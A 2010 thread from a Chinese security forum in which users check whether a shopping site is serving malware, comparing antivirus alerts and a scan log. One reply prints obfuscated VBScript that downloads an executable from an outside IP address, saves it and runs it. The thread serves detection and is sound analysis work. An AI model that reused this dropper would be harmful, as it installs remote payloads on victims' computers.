帮忙看一下，这个网站是否被挂马了~[正常][已检测 by 是昔流芳]

显示全部楼层 · 发表于 2010-11-17 10:52:58

本帖最后由是昔流芳于 2010-11-17 13:23 编辑

www.dianxiao3.com

我这EAV4.0有报。

显示全部楼层 · 发表于 2010-11-17 10:56:09

枫树正常打开

显示全部楼层 · 发表于 2010-11-17 10:56:56

那奇怪了。这个JPG是从哪来的？

显示全部楼层 · 发表于 2010-11-17 10:59:09

set oshell = wscript.createobject (Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(115)+Chr(104)+Chr(101)+Chr(108)+Chr(108))
Set xPost = CreateObject(Chr(77)+Chr(105)+Chr(99)+Chr(114)+Chr(111)+Chr(115)+Chr(111)+Chr(102)+Chr(116)+Chr(46)+Chr(88)+Chr(77)+Chr(76)+Chr(72)+Chr(84)+Chr(84)+Chr(80))
xPost.Open Chr(71)+Chr(69)+Chr(84),Chr(104)+Chr(116)+Chr(116)+Chr(112)+Chr(58)+Chr(47)+Chr(47)+Chr(49)+Chr(50)+Chr(50)+Chr(46)+Chr(49)+Chr(49)+Chr(53)+Chr(46)+Chr(54)+Chr(51)+Chr(46)+Chr(55)+Chr(48)+Chr(58)+Chr(50)+Chr(56)+Chr(48)+Chr(47)+Chr(115)+Chr(46)+Chr(101)+Chr(120)+Chr(101),Chr(48)
xPost.Send()
Set sGet = CreateObject(Chr(65)+Chr(68)+Chr(79)+Chr(68)+Chr(66)+Chr(46)+Chr(83)+Chr(116)+Chr(114)+Chr(101)+Chr(97)+Chr(109))
sGet.Mode = Chr(51)
sGet.Type = Chr(49)
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Chr(111)+Chr(107)+Chr(121)+Chr(46)+Chr(101)+Chr(120)+Chr(101),Chr(50)
wscript.sleep Chr(49)+Chr(48)+Chr(48)+Chr(48)+Chr(48)
oshell.run Chr(111)+Chr(107)+Chr(121)+Chr(46)+Chr(101)+Chr(120)+Chr(101)
on error resume next

显示全部楼层 · 发表于 2010-11-17 11:01:22

Log generated by 9eyes use mdecoder 0.67
[root]http://www.dianxiao3.com/(鍏ㄥ浗澶у?鐢熺綉缁滆秴甯?- Powered by ECShop)
[script]http://www.dianxiao3.com/js/common.js
[script]http://www.dianxiao3.com/js/index.js
[script]http://www.dianxiao3.com/js/transport.js
[script]http://www.dianxiao3.com/js/utils.js
[script]http://www.dianxiao3.com/data/flashdata/default/cycle_image.js
[flash]http://www.dianxiao3.com/data/flashdata/default/data/flashdata/default/bcastr.swf?bcastr_xml_url=data/flashdata/default/data.xml

FF 木反应

显示全部楼层 · 发表于 2010-11-17 12:20:52

大蜘蛛，chrome7.0.517.44/IE8没有报告。
gx[1]\gx[1].jpg - infected with BackDoor.Generic.1270

显示全部楼层 · 发表于 2010-11-17 12:25:34

回复 1楼 llj4862 的帖子

2010-11-17 12:23:58 HTTP 过滤器文件 http://bbs.kafan.cn/forum-attach ... Q5fDI5NjM2OA==.html Win32/VB.NTI 特洛伊木马的变种连接中断 - 已隔离 PC-201011161301\Administrator 通过应用程序访问 web 时检测到威胁: C:\Program Files\Internet Explorer\IEXPLORE.EXE.

[已鉴定] 帮忙看一下，这个网站是否被挂马了~[正常][已检测 by 是昔流芳]